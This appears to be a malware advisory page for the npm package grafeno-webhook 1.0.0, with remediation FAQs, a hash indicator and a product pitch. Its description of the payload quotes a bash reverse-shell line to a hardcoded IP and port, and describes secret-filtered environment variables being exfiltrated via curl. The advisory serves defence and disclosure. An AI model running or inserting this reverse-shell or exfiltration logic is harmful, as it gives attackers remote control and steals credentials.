Which versions of grafeno-webhook are malicious?

The following npm versions of grafeno-webhook are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate grafeno-webhook if I installed it?

grafeno-webhook is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed grafeno-webhook — how do I know if it already compromised me?

If grafeno-webhook was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-webhook part of a known attack campaign?

Yes — grafeno-webhook is associated with the IN-MAL-2026-019152 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-webhook across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-webhook (version 1.0.0).

Malicious package

grafeno-webhooknpm

Advisory published Aug 29, 2026Updated Aug 29, 2026

grafeno-webhook is a confirmed malicious npm package (MAL-2026-15573) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-webhook (npm)

MAL-2026-15573

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-webhook

What this malware does

The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for grafeno-webhook (version 1.0.0).
If you installed it — respond
grafeno-webhook is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If grafeno-webhook was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. grafeno-webhook on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019152

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-webhook-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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